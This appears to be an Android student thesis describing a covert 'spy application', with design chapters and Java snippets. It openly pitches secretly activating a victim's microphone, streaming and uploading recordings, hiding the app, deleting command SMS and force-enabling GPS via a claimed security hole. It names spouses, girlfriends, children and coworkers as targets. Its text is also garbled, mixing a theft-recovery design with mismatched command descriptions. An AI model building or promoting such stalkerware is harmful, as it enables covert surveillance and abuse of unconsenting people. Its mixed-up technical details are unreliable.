102
25 Android Spy Application Chapter 1...................................................................................................................................................... 6 INTRODUCTION............................................................................................................................................ 6 1.1 Introducon of Smart Phone:..................................................................................................................... 7 1.2 Introducon of Android:............................................................................................................................. 8 1.3 Comparison of Android market stascs with other OS: ............................................................................ 8 1.4 Comparison of Android and Iphone market:.............................................................................................. 9 1.4.1 Performance of Android:..................................................................................................................... 9 1.4.2 Performance of IOS:............................................................................................................................ 9 1.4.3 Best features of Android:.................................................................................................................. 10 1.4.4 Best features of IOS:.......................................................................................................................... 10 1.4.5 Customer support service of Android:.............................................................................................. 10 1.4.6 Customer support service of IOS:...................................................................................................... 11 1.5 Android Framework:................................................................................................................................. 11 1.6 Mobile Theſt Recovery Applicaon:.......................................................................................................... 12 1.7 Problem Statement:.................................................................................................................................. 13 1.7.1 Project Objecves:............................................................................................................................ 13 1.7.2 Applicaons:..................................................................................................................................... 14 Chapter 2.................................................................................................................................................... 15 BACKGROUND & RELATED WORK................................................................................................................ 15 2.1 Background:.............................................................................................................................................. 16 2.2 Project Related Applicaons:.................................................................................................................... 16 Chapter 3.................................................................................................................................................... 18 ANALYSIS AND DESIGN............................................................................................................................... 18 3.1 Analysis of Applicaon:............................................................................................................................. 19 3.1.1 Use Case diagram:............................................................................................................................. 19 3.1.2 Flow Chart:........................................................................................................................................ 20 3.1.3 Acvity Diagram:............................................................................................................................... 21 3.1.5 System Diagram:............................................................................................................................... 22 3.2 Funconal Overview:................................................................................................................................ 23 3.3 User Roles:................................................................................................................................................ 23 3.4 Soſtware Structure of the Applicaon:..................................................................................................... 24 3.4.1 Manifest:........................................................................................................................................... 24 3.4.2 Main Service:..................................................................................................................................... 24

Thesis of Mobile Spy app

Embed Size (px)

Citation preview

25

Android Spy Application

Chapter 1...................................................................................................................................................... 6

INTRODUCTION............................................................................................................................................ 6

1.1 Introduction of Smart Phone:.....................................................................................................................7

1.2 Introduction of Android:.............................................................................................................................8

1.3 Comparison of Android market statistics with other OS:............................................................................8

1.4 Comparison of Android and Iphone market:..............................................................................................9

1.4.1 Performance of Android:.....................................................................................................................9

1.4.2 Performance of IOS:............................................................................................................................9

1.4.3 Best features of Android:..................................................................................................................10

1.4.4 Best features of IOS:..........................................................................................................................10

1.4.5 Customer support service of Android:..............................................................................................10

1.4.6 Customer support service of IOS:......................................................................................................11

1.5 Android Framework:.................................................................................................................................11

1.6 Mobile Theft Recovery Application:..........................................................................................................12

1.7 Problem Statement:..................................................................................................................................13

1.7.1 Project Objectives:............................................................................................................................13

1.7.2 Applications:.....................................................................................................................................14

Chapter 2.................................................................................................................................................... 15

BACKGROUND & RELATED WORK................................................................................................................ 15

2.1 Background:..............................................................................................................................................16

2.2 Project Related Applications:....................................................................................................................16

Chapter 3.................................................................................................................................................... 18

ANALYSIS AND DESIGN............................................................................................................................... 18

3.1 Analysis of Application:.............................................................................................................................19

3.1.1 Use Case diagram:.............................................................................................................................19

3.1.2 Flow Chart:........................................................................................................................................20

3.1.3 Activity Diagram:...............................................................................................................................21

3.1.5 System Diagram:...............................................................................................................................22

3.2 Functional Overview:................................................................................................................................23

3.3 User Roles:................................................................................................................................................23

3.4 Software Structure of the Application:.....................................................................................................24

3.4.1 Manifest:...........................................................................................................................................24

3.4.2 Main Service:.....................................................................................................................................24

25

Android Spy Application

3.4.3 SMS Receiver:....................................................................................................................................25

3.4.4 Single Location and Continuous Location Services:...........................................................................25

Chapter 4.................................................................................................................................................... 26

IMPLEMENTATION...................................................................................................................................... 26

4.1 Implementation Details:...........................................................................................................................27

4.2 Basic Code Strategy:.................................................................................................................................27

4.2.1 Profile Changing:...............................................................................................................................27

Code Snippet for Profile Changing:............................................................................................................27

4.2.2 GPS Value-Single and Continuous:....................................................................................................28

We use following syntax /text format to activate this feature...................................................................28

4.2.3 Code Snippet for Turning GPS on:.....................................................................................................29

4.2.4 Code snippet for sending SMS:.........................................................................................................30

4.2.5 Code snippet for Transparent Messaging:.........................................................................................30

4.2.6 Code Snippet for playing the Ringtone:.............................................................................................30

4.3 Java and SDK versions:..............................................................................................................................31

4.3.1 JDK 1.6:.............................................................................................................................................31

4.3.2 Eclipse SDK 1.6.2:..............................................................................................................................32

4.3.3 Eclipse SDK Features:........................................................................................................................32

4.3.4 Android SDK 2.2:...............................................................................................................................33

4.4 API Level:..................................................................................................................................................33

4.5 Testing:.....................................................................................................................................................34

4.6 Android Services:......................................................................................................................................34

4.7 Advantages and Disadvantages:...............................................................................................................35

4.7.1 Advantages:......................................................................................................................................35

4.7.2 Disadvantages:..................................................................................................................................36

Chapter 5.................................................................................................................................................... 37

RESULTS AND CONCLUSION........................................................................................................................ 37

5.1 Results:.....................................................................................................................................................38

5.1.1 Getting the coordinates and address single time:.............................................................................38

5.1.2 Getting the coordinates and address continuously:..........................................................................38

5.1.3 SMS containing the Location:............................................................................................................39

The following SMS is received as a result of above mentioned SMS..........................................................39

5.1.4 Profile Change from silent to General...............................................................................................39

5.1.5 Profile Change from general to silent:...............................................................................................40

25

Android Spy Application

5.1.6 Notification to check the current SIM:..............................................................................................40

5.1.7 Starting the Current Ringtone:..........................................................................................................41

5.2 Conclusion:...............................................................................................................................................41

Chapter 6.................................................................................................................................................... 43

SOURCE CODE............................................................................................................................................. 43

6.1 Main Service:............................................................................................................................................44

6.2 Single Location:.........................................................................................................................................47

6.3 Continuous Location:................................................................................................................................51

6.4 SMS receiver:............................................................................................................................................54

6.5 Start-up Broadcast Service:.......................................................................................................................59

6.6 Manifest Permissions:...............................................................................................................................59

Chapter 7.................................................................................................................................................... 60

FUTURE WORK............................................................................................................................................ 60

7.1 New Features:...........................................................................................................................................61

APPENDIX................................................................................................................................................... 62

A Installing Android SDK and setting up ADT in Eclipse:.................................................................................63

Installing Android SDK and Eclipse:............................................................................................................63

B Building Basic Hello World App:.................................................................................................................92

Creating Basic Hello Word Application:......................................................................................................92

Anatomy of Android Application:...............................................................................................................94

The Main Activity File:................................................................................................................................95

The Manifest File:......................................................................................................................................96

The Strings File:..........................................................................................................................................97

The Layout File:..........................................................................................................................................97

REFRENCES:.........................................................................................................................................................99

25

Android Spy Application

List of Figures

Figure 3.1.1 Use Case Diagram……………………………………….19

Figure 3.1.2 Flow Chart……………………………………………….20

Figure 3.1.3 Activity Diagram………………………………………...21

Figure 3.1.4 System Diagram…………………………………………22

Figure 5.1.1 SMS for getting location single time…………………….38

Figure 5.1.2 SMS for getting location continuously………………….38

Figure 5.1.3 Location …………………………………………………39

Figure 5.1.4 Profile change from silent to general….………………….39

Figure 5.1.5 Profile change from general to silent………………….….40

Figure 5.1.6 Current SIM notification………………………………..40

Figure 5.1.7 Starting ringtone…………………………………………41

25

Android Spy Application

List of Graphs

Graph 1.4.1 Performance of Android ………………………………………9

Graph 1.4.2 Performance of IOS…………………………………………..9

Graph 1.4.3 Best Features of Android……………………………………..10

Graph 1.4.4 Best Features of IOS………………………………………….10

Graph 1.4.5 Customer Support Service of Android……………………….11

Graph 1.4.6 Customer Support Service of IOS……………………………11

25

Android Spy Application

Chapter 1

INTRODUCTION

1.1 Introduction of Smart Phone:

25

Android Spy Application

A smart phone is a mobile phone built on a mobile operating system, with more advanced

computing capability and connectivity than a feature phone. Mobile phone and the function

of PDA (personal digital assistance) were combined as a first smart phone. Later models

added the functionality of portable media players, low-end compact digital cameras, pocket

video cameras, and GPS navigation units to form one multi-use device. Many modern smart

phones also include high-resolution touch screens sensors and web browsers that display

standard web pages as well as mobile optimized sites. The accelerometer is a built-in

electronic component that measures tilt and motion. It is also capable of detecting rotation

and motion gestures such as swinging or shaking.

The most common use for it is to activate auto screen rotation on mobile devices when the

user changes their orientation from portrait to landscape or vice-versa. Another modern

application for the accelerometer is to control the mobile device music player with gestures

(Sony Ericsson Shake control or Samsung Motion play technologies). Accelerometers are

also utilized for enriching the gaming controls (navigating by tilting the device instead of by

pressing keys). Another popular mobile phone feature based on an accelerometer is turn-to-

mute. It allows user to mute an incoming call, silence an alarm or pause the mobile music

player simply by turning the device face down. High-speed data access is provided by Wi-

Fi and mobile broadband.

In recent years, the rapid development of mobile app markets and of mobile commerce have

been drivers of smart phone adoption

The mobile operating systems (OS) used by modern smart phones

include Google's Android, Apple's iOS, Nokia's Symbian, Blackberry Ltd's BlackBerry

OS, Samsung's Bada, Microsoft's Windows Phone, Hewlett-Packard's webOS, and embedded

Linux distributions such as Maemo and MeeGo. Such operating systems can be installed on

many different phone models, and typically each device can receive multiple OS software

updates over its lifetime. A few other upcoming operating systems are Mozilla's Firefox

S, Canonical Ltd.'s Ubuntu Phone, and Tizen.

25

Android Spy Application

1.2 Introduction of Android:

Android is a Linux-based operating system designed primarily for touch screen mobile

devices such as smart phones and tablet computers. Initially developed by Android, Inc.,

which Google backed financially and later bought in 2005, Android was unveiled in 2007

along with the founding of the Open Handset Alliance: a consortium of hardware, software,

and telecommunication companies devoted to advancing open standards for mobile devices.

The first Android-powered phone was sold in October 2008.

Android is open source and Google releases the code under the Apache License. This open-

source code and permissive licensing allows the software to be freely modified and

distributed by device manufacturers, wireless carriers and enthusiast developers.

Additionally, Android has a large community of developers writing applications ("apps") that

extend the functionality of devices, written primarily in a customized version of

the Java programming language. In October 2012, there were approximately 700,000 apps

available for Android, and the estimated number of applications downloaded from Google

Play, Android's primary app store, was 25 billion. A developer survey conducted in April–

May 2013 found that Android is the most popular platform for developers, used by 71% of

the mobile developer population.

1.3 Comparison of Android market statistics with other OS:

Smart phones use with Android, Palm, Windows and Blackberry operating systems are

available in market those price ranges are from 15,000 Rs to 70,000 Rs. In Q1 2013, 308.7

million smart mobile devices shipped worldwide, representing a year-on-year growth of 37.4

percent. Breaking down those numbers by operating system, Google’s Android dominated

with 59.5 percent share, followed by Apple’s iOS and OS X at 19.3 percent share, and

Microsoft’s Windows and Windows Phone at 18.1 percent share. According to Google's

Andy Rubin, there are over 850,000 Android devices activated every day. Android handsets

accounted for 75.6 percent of total smart phone shipments. Android is a Linux based OS for

25

Android Spy Application

mobile devices such as smart phones and tablet computers. The Open Handset Alliance led

by Google developed it. Google purchased the initial developer of the software, Android Inc.,

in 2005. The Android Open Source Project (AOSP) is tasked with the maintenance and

further development of Android.

1.4 Comparison of Android and Iphone market:

1.4.1 Performance of Android:

As shown by the graph, the satisfying bar of android is at highest and unsatisfying bar is at

lowest position which depicts the performance of android to be more satisfying.

Graph 1.4.1: Performance of android

1.4.2 Performance of IOS:

The satisfying bar of IOS is almost similar to that of android but it’s unsatisfying bar is

comparatively very high as compared to that of android. This fact depicts that IOS is more

unsatisfying.

Graph 1.4.2: Performance of IOS

25

Android Spy Application

1.4.3 Best features of Android:

The best features of android include android market and voice search. Android

market bar is at the highest position.

Graph 1.4.3: Best features of Android

1.4.4 Best features of IOS:

Best features of IOS includes iMessage , IOS applications and virtual keyboard.

Graph 1.4.4: Best features of IOS

25

Android Spy Application

1.4.5 Customer support service of Android:

Android offers the best customer support service, that is why the excellent and moderate bars

are at their peak.

Graph 1.4.5: Customer support service of Android

1.4.6 Customer support service of IOS:

IOS lacks satisfactory customer support service as compared to Android.

Graph 1.4.6: Customer support service of IOS

1.5 Android Framework:

25

Android Spy Application

Android relies on Linux version 2.6 for core system services such as security, memory

management, process management, network stack, and driver model. The kernel also acts as

an abstraction layer between the hardware and the rest of the software stack. Android

includes a set of core libraries that provides most of the functionality available in the core

libraries of the Java programming language.

The API Level is an integer value that uniquely identifies the framework API revision offered

by a version of the Android platform. Android platform provides a framework API that

applications can use to interact with the underlying Android system.

The framework API consists of

A core set of packages and classes

A set of XML elements and attributes for declaring a manifest file

A set of XML elements and attributes for declaring and accessing resources.

A set of permissions that application can request are like camera usage, GPS, WIFI or data. A

permission enforcements mechanism is also included in the system each successive version

of the Android platform can include updates to the Android application framework API that it

delivers.

Every Android application runs in its own process, with its own instance of the Dalvik virtual

machine. Dalvik has been written so that a device can run multiple VMs efficiently. The

Dalvik VM executes files in the Dalvik Executable (.dex) format, which is optimized, for

minimal memory footprint. The VM is register-based, and runs classes compiled by a Java

language compiler that have been transformed into the .dex format by the included "dx" tool.

The Dalvik VM relies on the Linux kernel for underlying functionality such as threading and

low-level memory management.

Android has a large community of developers writing applications ("apps") that extend the

functionality of the devices. Developers write primarily in a customized version of Java.

Apps can be downloaded from third-party sites or through online stores such as Google Play

(formerly Android Market), the app store run by Google.

1.6 Mobile Theft Recovery Application:

25

Android Spy Application

The application project is built using the basic android framework. It basically uses the

telephony APIs of android to send messages as commands to turn on & off MIC and to

upload the recorded file. Every single task is based on pre written SMS which acts as a

command at other side. There are two app’s 1 is server app & 2nd is client app. Server app

will send commands through GSM messages & client app will read sms & act according to it.

The actions are predefined in client app & associate with special format commands messages

SMS sent in the defined format initiates the desired task and as the task is performed, a toast

notification is appeared to the number that requested the task on server side app. Tasks

include turn on MIC, turn off MIC, Upload files, Start live streaming & stop live streaming &

all these commands are transparent messages that will not appear in client mobile.

1.7 Problem Statement:

To develop an Android app that will remotely access the smart phone through commands or

normal text message to enable and disable different features like turn on & off MIC, upload

files to web server by checking connected wifi connections again & again so that we can spy

our cheating members, parents can spy their children’s, Boss can spy his staff, staff members

can spy Boss important discussions & meetings.

1.7.1 Project Objectives:

Automatic MIC Turn on: MIC of the phone is automatically turned on when the

SMS to turn MIC on is received without giving any type of notification to the user.

Automatic MIC Turn off: MIC of the phone is automatically turned off when the

SMS to turn MIC off is received without giving any type of notification to the user.

Upload files: All recording files will be uploaded to our web server when it finds the

connected wifi after receiving command of upload files & members can see their

target’s recorded files by log in to their accounts

Automatic deletion of Track-messages: Our application deletes the incoming and

outgoing messages pertaining to the application such that the new owner of the cell is

25

Android Spy Application

clueless about it all.

Start live streaming: MIC of the phone is automatically turned on when the SMS to

start streaming is received without giving any type of notification to the user & client

app will start sending live streams to server app.

Stop live streaming: MIC of the phone is automatically turned off when the SMS to

stop streaming is received without giving any type of notification to the user & client

app will stop sending live streams to server app.

1.7.2 Applications:

This particular application can be used for several purposes, which are as follows:

Parents can use this application to keep an eye on their child’s activities without the

child noticing it. If the child’s having our client app installed in his mobile is cheating

with his parents, the parents can listen his discussions & record his phone calls & can

listen its voice live

Boss of a company can use this application to spy his employees if they go outside the

organization.

Similarly any staff member can also spy his boss important phone calls, meetings &

discussions.

A Boy can spy his girl friend’s activities behind him.

Husband can spy his wife’s activities any time.

25

Android Spy Application

Chapter 2

BACKGROUND & RELATED WORK

25

Android Spy Application

2.1 Background:

The version history of the Android mobile operating system began with the release of the

Android beta in November 2007. The first commercial version, Android 1.0, was released in

September 2008. Android is under ongoing development by Google and the Open Handset

Alliance (OHA), and has seen a number of updates to its base operating system since its

initial release.

Since April 2009, Android versions have been developed under a codename and released

according to alphabetical order: Cupcake (1.5), Donut (1.6), Eclair (2.0–2.1), Froyo (2.2–

2.2.3), Gingerbread (2.3–2.3.7), Honeycomb (3.0–3.2.6), Ice Cream Sandwich (4.0–4.0.4),

Jelly Bean (4.1–4.3), and Kit Kat (4.4). On 3 September 2013 Google announced that 1

billion activated devices now use the Android OS worldwide.

Till 2007, several applications have been releasing and becoming popular in market. Some

popular android applications that are available in market & do similar tasks are Mobile spy,

android spy, spy bubble etc.

2.2 Project Related Applications:

Mobile Spy works by installing a small hidden app to the device to be monitored. The app

records various activities and quickly uploads them to your Mobile Spy account. To view the

results, simply login to your secure account using any computer or mobile web browser. Logs

are displayed by categories and sorted for easy browsing.

The software is completely stealth and works independently. Mobile Spy does not rely on the

phone's call and message database to record activities. So even if your child or employee tries

to delete their usage histories, the data will still be retained and uploaded.

Check out a summary of Mobile Spy's features below.

SMS Commands

25

Android Spy Application

LIVE Control Panel

Application Blocking

Text Message Monitoring

Call Monitoring

GPS Tracking

Web & Social Media Monitoring

The Android Spy is used to know the how the phone is used and where it is. For example,

you can see what numbers have called the phone and what numbers the phone has called.

This includes the time of the calls as well as their duration. You can also see any text

message that the phone has received or sent, even if the text message has been erased from

the phone. Finally, you can find the location of the phone on a map online, usually through

Google Maps. This app is also has almost same features with little bit difference.

Spy Bubble is The Most Advanced, Most Affordable Android Spy Software For Parents &

Employers which works well with ALL Android models and runs in complete stealth mode.

it has following features

Quick & easy setup

Monitors all phone activities 24/7

Compatible with ALL Android phones

Once installed, you can monitor the activities of the phone from any computer,

anytime from anywhere in the world

Our application has unique feature of LIVE STREAMING that has never been introduced in

spy applications & most of such app are charging high for all these features we will give such

features in very very low price & we will implement / add all these features also in our app

time to time.

25

Android Spy Application

Chapter 3

ANALYSIS AND DESIGN

25

Android Spy Application

3.1 Analysis of Application:

3.1.1 Use Case diagram:

Use case diagram will show all the actions taken by the user and the thief. First of all the thief

will turn off the phone and change the Sim card. When he starts the phone again the app will

activate and start running as background hidden process without any notification or any app

icon being shown. The identification no of new sim will be sent in a message to the hardcore

number which is saved in the application.

Then the user can send a message to turn on GPS and WIFI.

Send Track sms to fetch continues or single time location of the smart phone.

Send sms to change the profile from silent to general and general to silent.

Send sms to start phone ringing the current ring tone.

25

Android Spy Application

Figure 3.1.1: Use case diagram

3.1.2 Flow Chart:

Flow chart is shows the control flow of the application. Install the app in the smart phone

and then restart it. A message is sent to the hardcore mobile number. When the message is

received the user will know whether it’s his/her mobile number or not. Then the user will

send a number of messages like turning on the GPS and WIFI, fetching location of the mobile

continuously or for once, stop fetching the location, changing profiles, start phone to ring

with its ringing tone.

25

Android Spy Application

Figure 3.1.2: Flow Chart

3.1.3 Activity Diagram:

Activity diagram is showing all activates done by the app. All the features are discussed in it

with the control flow lines.

Figure 3.1.3: Activity Diagram

25

Android Spy Application

3.1.5 System Diagram:

In system diagram the whole system is discussed, which shows the complete features and

working of the app.

Figure 3.1.5 System Diagram

25

Android Spy Application

3.2 Functional Overview:

Once the client application is installed on target’s Android phone, it will be active every time.

Application starts at the boot time automatically and runs in the hidden mode.

If the SIM is flipped, then user must have to know the new number of his target to start

spying. Our customers can spy their target by installing server app to their own smart phones

to control target & clients apps to their target’s devices. When they press Button TURN ON

MIC then MIC of targets phone will be automatically turned on & recording will start &

when user will press TURN OFF MIC then MIC will be turned off & recording will stop &

recorded files are created in internal storage of phones which will be hidden from user

because this is that internal storage which is used by applications to install. User can not

access this storage and this will be temporary storage for our recorded files. These files will

be uploaded in our web server when user will press upload files, wifi is checked if enabled

then connected wifi will be checked & files are uploaded. If wifi is off then it will check

again & again wifi connection until files are not uploaded, files are deleted after uploading to

web server & thus user can view recorded files any time anywhere by login into his account

from any computer through web server. Live streaming is also supported by android spy user

can listen voice of his target live any time.

3.3 User Roles:

The role of user in this project is to send COMMANDS by pressing Buttons in Server app to

control his targets smart phone for spying. User must have to know the Mobile Number of his

target, by entering mobile number in the text filed they can do following tasks. Here we

assume the user who wants to spy his target with installed server application on Android

phone is called as “phone L” and the phone used for sending recorded files to our web server

for spying is named as “phone-M” this is the target’s smart phone. The syntax of the

Commands SMSs that can be sent by the user to targets phone and its functionalities are as

follows:

25

Android Spy Application

>AS ON: It turns the GPS automatically on without notifying the user L and helps in

fetching the location and address of the lost Android smart phone (phone L) and sends

an SMS location to the phone number, which requested this operation only once.

>AS OFF: This helps in fetching the location and address of the (phone L) lost

Android smart phone and sends an SMS location to the phone number which

requested this action as and when the location changes of Phone L , it will keep track

of it and sends the new location of the device to requested phone M.

>AS UPLOAD: It changes the Phone L profile to ringing, vibrate mode, and

acknowledges the same to the phone number, which requested this action (phone M).

>AS LIVE ON: It changes the Android smart phone's (phone L)profile to silent mode

and acknowledges the same to the phone number, which requested this action(phone

M).

>AS LIVE OFF: It starts the current ringtone on phone L and send

acknowledgements to the phone number, which requested this action (phone M).

3.4 Software Structure of the Application:

3.4.1 Manifest:

In an Android project, a manifest file is created in the beginning. Every application must have

an Android Manifest .xml file (with precisely that name) in its root directory. The manifest

presents essential information about the application to the Android system, information the

system must have before it can run any of the application's code. Manifest file takes the

permission of the usage of Data, Wi-Fi, camera, GPS Bluetooth to name few services from

the android system.

3.4.2 Main Service:

25

Android Spy Application

At the start of application, Main service will send an SMS at each reboot to the hard-coded

number, so that we can easily get to know which SIM Card has been installed in our phone

which is now in the hands of a thief.

Other functionality of Main service includes the service of changing the profile modes of the

lost phone from silent to ring and vibrate or vice versa and ringing the current ringtone of

phone.

3.4.3 SMS Receiver:

This is a receiver, which extends the communication from Broadcast Receiver. It reads the

incoming message on the lost phone and if the message is intended for the app, then it

redirects to respective java files in the project, for execution of functionality needed. SMS

receiver calls the Single location file and continuous location to fetch the GPS latitude and

longitude.

3.4.4 Single Location and Continuous Location Services:

Both these services extract the coordinates, translate them into address and send both

coordinates and address through SMS to the mentioned phone number.

25

Android Spy Application

Chapter 4

IMPLEMENTATION

25

Android Spy Application

4.1 Implementation Details:

A few interesting features are implemented in this application and combined in such a way

that makes the application effective. This application always runs in the background and

monitors all the incoming messages. If the SMS is meant for the application, it reads the same

and performs the expected task. This application is made with android 2.3.3 gingerbread

flavor

.

4.2 Basic Code Strategy:

4.2.1 Profile Changing:

Just by sending an SMS from any of the mobile phone to the lost android smart phone, we

change the profile of the android phone from general to silent mode or from silent to general

mode.

We use following syntax /text format to activate this feature, TRACK-profile-

RingAndVib@phone number (from silent to ring & vibrate) TRACK-profile-silent@phone

number (from ring & vibrate to silent mode)

Code Snippet for Profile Changing:

25

Android Spy Application

if(token.trim().equals("profile"))

{

profile_ph=false;

String mode="";

SmsReciver.flag=false;

SmsReciver.msg="";

mode=sms_received.substring(sms_received.lastIndexOf("-")

+1,sms_received.indexOf("@"));

response_phno=sms_received.substring(sms_received.indexOf("@")+1);

if(mode.trim().equals("RingAndVib"))

{

maudio=(AudioManager)getSystemService(AUDIO_SERVICE);

System.out.println("...C...Profile ring-and-vib");

maudio.setRingerMode(AudioManager.RINGER_MODE_NORMAL);

maudio=null;

sendSMS(response_phno, "Profile Changed To RingAndVibrate

Mode");

}

if(mode.trim().equals("silent"))

{

maudio=(AudioManager)getSystemService(AUDIO_SERVICE);

System.out.println("...C...Profile silent");

maudio.setRingerMode(AudioManager.RINGER_MODE_SILENT);

maudio=null;

sendSMS(response_phno, "Profile Changed To Silent Mode");

}

4.2.2 GPS Value-Single and Continuous:

This feature is used for fetching the location string. We retrieve the location string by sending

one SMS to the lost smart phone in a particular format. The mobile will reply by sending the

Location String. We can also retrieve the location string in 2 ways. One is single value, which

gives GPS value only once. The other way is continuous, where various values of location

25

Android Spy Application

can be obtained every pre-decided interval of time and displacement.

We use following syntax /text format to activate this feature

TRACK-single-phone number (for single GPS value)

TRACK-continuous-phone number (for continues value)

The following code snippet fetches the longitude and latitude using GPS and converts the

coordinates into address using the GEO locater.

if (location != null) {

LATITUDE = (double) (location.getLatitude());

LONGITUDE = (double) (location.getLongitude());

String latlon=""+LATITUDE+" "+LONGITUDE;

geocoder = new Geocoder(this, Locale.ENGLISH);

try {

List<Address> addresses = geocoder.getFromLocation(LATITUDE,

LONGITUDE, maxResult);

if(addresses != null) {

int j=0;

Address returnedAddress=null;

for (j=0; j<maxResult; j++){

returnedAddress = addresses.get(j);

StringBuilder strReturnedAddress = new StringBuilder();

for(int i=0; i<returnedAddress.getMaxAddressLineIndex(); i++) {

strReturnedAddress.append(returnedAddress.getAddressLine(i)).append("\

n");

}

addressList[j] = strReturnedAddress.toString();

}

addr="Latitude : "+LATITUDE+"\nLongitude : "+LONGITUDE+"\

nAddress : "+addressList[0];

}

25

Android Spy Application

4.2.3 Code Snippet for Turning GPS on:

Android Architecture doesn’t support turning on GPS automatically without notifying the

user but we are exploiting a security hole in android architecture to turn on GPS.

Intent intent1 = new Intent("android.location.GPS_ENABLED_CHANGE");

intent1.putExtra("enabled", true);

sendBroadcast(intent1);

4.2.4 Code snippet for sending SMS:

For sending an SMS every time a specific task is performed, the following format is used.

sendSMS(response_phno, "Profile Changed To RingAndVibrate Mode");

sendSMS(response_phno, "Profile Changed To silent mode");

sendSMS(response_phno, "Location not found");

sendSMS(response_phno, "addr");

sendSMS(response_phno, "Ringing");

4.2.5 Code snippet for Transparent Messaging:

Whenever an SMS is received, it is checked if it starts with TRACK or not. If yes, it is sent

straight to the SMS receiver that deletes the SMS after performing the desired task and the

SMS doesnt appear in Inbox. Following code is used to delete SMS.

String pid = c.getString(0); // Get id;

String uri = "content://sms/" + pid;

int count=ct.getContentResolver().delete(Uri.parse(uri),

null, null);

System.out.println("Delete count : "+count);

} catch (Exception e) {}

}

25

Android Spy Application

4.2.6 Code Snippet for playing the Ringtone:

ON receiving the SMS for ringing the phone, the default ringtone set on the phone will start

playing for some minutes. This code selects the ringtone from playlist and play it.

Ringtone r=null;

try

{

Uri

uri=RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE);

r=RingtoneManager.getRingtone(getApplicationContext(), uri);

r.play();

}

catch(Exception e)

{e.printStackTrace();}

4.3 Java and SDK versions:

4.3.1 JDK 1.6:

Anyone who has existing Java applications will benefit immediately from the performance,

reliability, and UI improvements in Java SE 6. Coupled with the expanded monitoring

capacities built into the platform, the release delivers dramatic out-of-the-box benefits.

without any coding changes or even a re-compile necessary. Simply running existing Java

applications on this latest release is all that is needed.

For developers, Java SE 6 streamlines web service and XML development, simplifies GUI

development and augments native desktop support, expands programmatic access to native

security facilities, and is the first release to offer a standardized framework for scripting

languages. NetBeans IDE integrates with the release to further simplify the use of these and

other new developer features in the release. [13][14][15][16][17]

25

Android Spy Application

Advantages to running applications on JDK 1.6 are:

Applications run faster on the desktop and servers.

New 'dynamic attach' diagnostics simplify troubleshooting.

Expanded Solaris DTrace support provides value on solaris.

Improved 'native' look and feel across Solaris, Linux, and Windows.

Benefits in upgrading developer environments to JDK 1.6 are:

JavaScript integrated and included with the platform.

Scripting language framework extends support for Ruby, Python, and other

languages.

Complete light-weight platform for web services, right out of the box.

Simplified GUI design and expanded native platform support.

Full JDBC$ implementation providing improved XML support for Databases.

Java DB included with the JDK, a free to use and deploy Java Database.

Full support by NetBeans IDE 5.5.

Sun Developers Services available to help build more robust application.

4.3.2 Eclipse SDK 1.6.2:

Most of the Eclipse SDK is "pure" Java code and has no direct dependence on the underlying

operating system. The chief dependence is therefore on the Java Platform itself Portions are

targeted to specific classes of operating environments, requiring their source code to only

reference facilities available in particular class libraries (e.g. J2ME Foundation 1.0, J2SE 1.3

and 1.4, etc.).

In general, the 3.5 release of the Eclipse Project is developed on a mix of Java 1.4, Java 5 and

Java 6 VMs. As such, the Eclipse SDK as a whole is targeted at all modern, desktop Java

VMs. Full functionality is available for 1.4 level development everywhere, and extended

development capabilities are made available on the VMs that support them.

4.3.3 Eclipse SDK Features:

Java Development Tooling (JDT)

25

Android Spy Application

This feature adds Java editing capability to the platform. The implementation includes a

fully-featured Java development environment and provides specialized features for handling,

manipulating, compiling, executing and debugging Java code. It defines its own extension

points that enable tool developers to use Java capability in their plug-ins. An example would

be the ability to use the Java Model that defines the package, field and method definitions ofa

Java project.

Plug-in Development Environment (PDE)

This feature provides convenience for creating plug-ins, a task that is filled with repetitive

and laborious actions. It greatly simplifies creation, manipulation, debugging and deployment

of plug-ins by automating some of the processes involved as well as presenting plug-in

information at a much higher level than its XML meta file.

The meta file stores details about the plug-in properties such as the used extension points,

external libraries, build configuration and deployment options. Manually editing this file

would be error prone and tedious, thus using PDE is much preferred.

The outlined architecture will be developed using the PDE, allowing it to be built within

Eclipse itself. From version 3.0 onwards, PDE allows the launch of a separate workbench to

test and debug the plug-in under development. The development code is seamlessly and

automatically deployed into the new environment and can be used immediately.

4.3.4 Android SDK 2.2:

Android software development is the process by which new applications are created for the

Android operating system. Applications are usually developed in the Java programming

language using the Android Software Development Kit, but other development tools are

available. Android 2.3.3 is a minor platform release including user features, developer

features, API changes, and bug fixes. For information on developer features and API

changes, see the Framework API section.

For developers, the Android 2.3.3 platform is available as a downloadable component for the

Android SDK. The downloadable platform includes a fully compliant Android library and

system image, as well as a set of emulator skins, sample applications, and more. The

downloadable platform includes no external libraries.

To get started developing or testing against the Android 2.3.3 platform, use the Android SDK

25

Android Spy Application

and A VD Manager tool to download the platform into your SDK.

4.4 API Level:

The Android 2.2 platform delivers an updated version of the framework API. The Android

2.23.3 API is assigned an integer identifier that is stored in the system itself. This identifier,

called the "API Level", allows the system to correctly determine whether an application is

compatible with the system, prior to installing the application. API packages contain different

built in classes that are imported.

The Android software development kit (SDK) includes a comprehensive set of development

tools. These include a debugger, libraries, a handset emulator based on QEMU,

documentation, sample code, and tutorials. Currently supported development platforms

include computers running Linux (any modem desktop Linux distribution), Mac OS X 10.4.9

or later, Windows XP or later.

Enhancements to Android's SDK go hand in hand with the overall Android platform

development. The SDK also supports older versions of the Android platform in case

developers wish to target their applications at older devices. Development tools are

downloadable components, so after one has downloaded the latest version and platform, older

platforms and tools can also be downloaded for compatibility testing.

Android applications are packaged in .apk format and stored under / data / app folder on the

Android OS (the folder is accessible only to root user for security reasons). APK package

contains .dex files (compiled byte code files called Dalvik executables), resource files, etc.

4.5 Testing:

For this application, an emulator with API level 2.3.3 or higher is required with an SD card.

As this application includes all activities done on receiving messages, SMS can be sent from

Dalvik Debug Monitor Server( DDMS) perspective of Eclipse to the emulator.

25

Android Spy Application

4.6 Android Services:

The main service that our project provides is using following

android.content.pm.PackageManager: Class for retrieving various kinds of

information related to the application packages that are currently installed on the

device

android.app.Activity: An activity is a single, focused thing that the user can do

android.location.Geocoder: A class for handling geocoding and reverse geocoding

android.location.LocationListener: Used for receiving notifications from the

LocationManager when the location has changed

android.location.Address: A class representing an Address, i.e., a set of Strings

describing a location

android.location.LocationManager: This class provides access to the system

location services

android.telephony.SmsManager: Manages SMS operations such as sending data,

text, and SMS messages

android.media.AudioManager: Manages SMS operations such as sending data, text,

and SMS messages

android.telephony.TelephonyManager: Provides access to information about the

telephony services on the device

4.7 Advantages and Disadvantages:

4.7.1 Advantages:

The application is auto-started when the phone is switched on and the application runs

